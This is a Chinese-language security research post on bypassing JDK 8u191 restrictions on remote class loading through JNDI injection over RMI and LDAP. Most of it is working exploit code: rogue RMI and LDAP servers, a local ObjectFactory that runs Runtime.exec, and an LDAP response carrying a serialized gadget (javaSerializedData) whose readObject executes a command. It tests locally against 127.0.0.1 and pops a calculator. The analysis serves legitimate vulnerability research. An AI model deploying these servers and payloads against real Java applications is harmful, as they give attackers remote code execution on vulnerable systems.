本次分析使用的java版本为jdk_8u191
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口,
其中rmi(远程方法调用)和ldap(轻量级目录访问协议)在低版本存在远程加载类导致命令执行,
RMI:6u132, 7u122, 8u113,LDAP:11.0.1, 8u191, 7u201, 6u211,以上版本开始无法利用远程加载,
下面开始分析绕过方式,
RMI 远程方法调用
pom.xml
<dependency> <groupid>com.unboundid</groupid> <artifactid>unboundid-ldapsdk</artifactid> <version>6.0.5</version> </dependency>服务端如下:
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMI_server {
public static void main(String[] args) throws Exception{
//在指定端口上创建并启动一个RMI注册表实例。RMI注册表是一个简单的命名服务,
//它允许RMI服务器注册它们的远程对象,使得RMI客户端可以查找和使用这些远程对象
Registry registry= LocateRegistry.createRegistry(1111);
//Reference代表了一个外部资源的引用对象
//第一个参数指定与此引用关联的类的名称,
//第二个参数指定创建或管理引用对象的工厂类的名称,
//第三个参数指定工厂类的位置,
Reference reference = new Reference("Payload", "Payload", "http://127.0.0.1:8888/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
//将JNDI命名空间中创建一个名称与对象的关联,使得以后可以通过该名称查找该对象
registry.bind("payload", wrapper);
}
}
客户端如下:
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMI_client {
public static void main(String[] args) {
try {
//构建一个初始上下文,
//lookup() 查找 JNDI 命名空间中的对象
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1111/payload");
} catch (NamingException e) {
e.printStackTrace();
}
}
}
运行后报错The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true',开始分析为什么报错,
在报错处断点,com.sun.jndi.rmi.registry.RegistryContext#decodeObject,
trustURLCodebase默认为false,直接报异常,因此这里是默认禁用了远程加载,
这里var8是我们服务端设置的外部资源的引用对象Reference,
那么我们只需要将var8或者var8.getFactoryClassLocation()设置为null就可以进行下一步操作,
我们肯定不能将Reference设置为空,不然引用对象就没有了,
因此设置var8.getFactoryClassLocation()为null,也就是factorylocation,
把factorylocation设置为null后,进入getObjectInstance函数,
在getObjectInstance函数中利用getFactoryClassName函数获取Reference的工厂类名,
然后利用getObjectFactoryFromReference函数去加载并初始化工程类,
这里返回的是ObjectFactoty类型,说明工厂类需要实现ObjectFactoty接口,146行开始加载并初始化类,
加载并初始化类,注意这里需要类的全限定名,
这里最终调用工厂类的getObjectInstance函数,
那么绕过思路就是将factorylocation设置为null,
找到一个本地工厂类,并且实现了ObjectFactoty接口,重写了getObjectInstance函数,
getObjectInstance函数能达到命令执行的效果,就能绕过高版本的远程加载限制了。
开始实验,
添加工厂类,
package org.example;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class PayloadObjectFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
return 1;
}
}
将RMI_server更改为以下内容,
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMI_server {
public static void main(String[] args) throws Exception{
//在指定端口上创建并启动一个RMI注册表实例。RMI注册表是一个简单的命名服务,
//它允许RMI服务器注册它们的远程对象,使得RMI客户端可以查找和使用这些远程对象
Registry registry= LocateRegistry.createRegistry(1111);
//Reference代表了一个外部资源的引用对象
//第一个参数指定与此引用关联的类的名称,
//第二个参数指定创建或管理引用对象的工厂类的名称,
//第三个参数指定工厂类的位置,
Reference reference = new Reference("aaa", "org.example.PayloadObjectFactory", null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
//将JNDI命名空间中创建一个名称与对象的关联,使得以后可以通过该名称查找该对象
registry.bind("payload", wrapper);
}
}
然后运行rmi客户端,成功弹出计算器,
LDAP:轻量级目录访问协议
ldap服务端,
package org.example;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAP_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args = new String[]{"http://127.0.0.1:8888/#payload"};
int port = 1111;
try {
//创建一个内存中的LDAP服务器配置,
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
//服务器配置中添加自定义操作拦截器,
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
//创建一个内存中的LDAP服务器实例,并启动服务器开始监听连接
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
//向LDAP条目添加属性
e.addAttribute("javaClassName", "javaclassname");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//设置工厂类地址,
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
//设置工厂类名
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端,
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAP_client {
public static void main(String[] args) {
try {
//构建一个初始上下文,
//lookup() 查找 JNDI 命名空间中的对象
Object ret = new InitialContext().lookup("ldap://127.0.0.1:1111/payload");
} catch (NamingException e) {
e.printStackTrace();
}
}
}
从入口开始,
javax.naming.spi.NamingManager#getObjectFactoryFromReference,
在本地没有得到工厂类后,开始远程获取工厂类,不过这里默认trustURLCodebase默认为false,因此远程加载肯定是失败的,
堆栈如图所示,
这里和rmi的绕过方式一样,
找到一个本地工厂类,并且实现了ObjectFactoty接口,重写了getObjectInstance函数,
getObjectInstance函数能达到命令执行的效果,就能绕过高版本的远程加载限制了。
继续使用我们之前添加的本地工厂类PayloadObjectFactory,
将ldap服务端改为(设置本地工厂类,不设置工厂类的地址):
package org.example;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAP_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args = new String[]{"http://127.0.0.1:8888/#payload"};
int port = 1111;
try {
//创建一个内存中的LDAP服务器配置,
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
//服务器配置中添加自定义操作拦截器,
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
//创建一个内存中的LDAP服务器实例,并启动服务器开始监听连接
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
//向LDAP条目添加属性
e.addAttribute("javaClassName", "javaclassname");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//设置工厂类地址,
//e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
//设置工厂类名
e.addAttribute("javaFactory", "org.example.PayloadObjectFactory");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
运行客户端,
ldap还可以使用自身的反序列化来绕过,
ldap会判断是否存在javaSerializedData字段,存在就会反序列化我们的字段内容,
com.sun.jndi.ldap.Obj#decodeObject中,执行了deserializeObject函数,对数据进行了反序列化操作,
堆栈如图所示:
那么这里就需要满足((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null,
需要再在服务端添加javaSerializedData属性,并将值设置为字节数组,
添加一个反序列化口子,
package org.example;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Payload implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("calc");
}
}
生成序列化数据,
package org.example;
import java.io.*;
import java.util.Arrays;
public class Serialize_payload {
public static void main(String[] tmp_args) throws IOException, ClassNotFoundException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(new Payload());
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(Arrays.toString(bytes));
//byte[] bytes = new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
}
}
将序列化数据添加到ldap服务器中,
package org.example;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAP_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args = new String[]{"http://127.0.0.1:8888/#payload"};
int port = 1111;
try {
//创建一个内存中的LDAP服务器配置,
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
//服务器配置中添加自定义操作拦截器,
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
//创建一个内存中的LDAP服务器实例,并启动服务器开始监听连接
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
//向LDAP条目添加属性
e.addAttribute("javaClassName", "javaclassname");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
byte[] bytes = new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
e.addAttribute("javaSerializedData", bytes);
//设置工厂类地址,
//e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
//设置工厂类名
e.addAttribute("javaFactory", "javafactory");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
运行ldap客户端,反序列化成功,
总结:
rmi远程方法调用只能通过本地工厂类来绕过,
ldap轻量级目录访问协议可以通过本地工厂类和反序列化来绕过,
本地工厂类需要实现ObjectFactory接口,重写getObjectInstance方法,
此方法能直接或者达到命令执行的效果,
反序列化需要在本地有链子,
参考:
https://tttang.com/archive/1611/
https://tttang.com/archive/1405/
https://xz.aliyun.com/t/8214?time__1311=n4%2BxuDgDBDy03DKD%3DG8Dlx6eKx7wsxOuDbD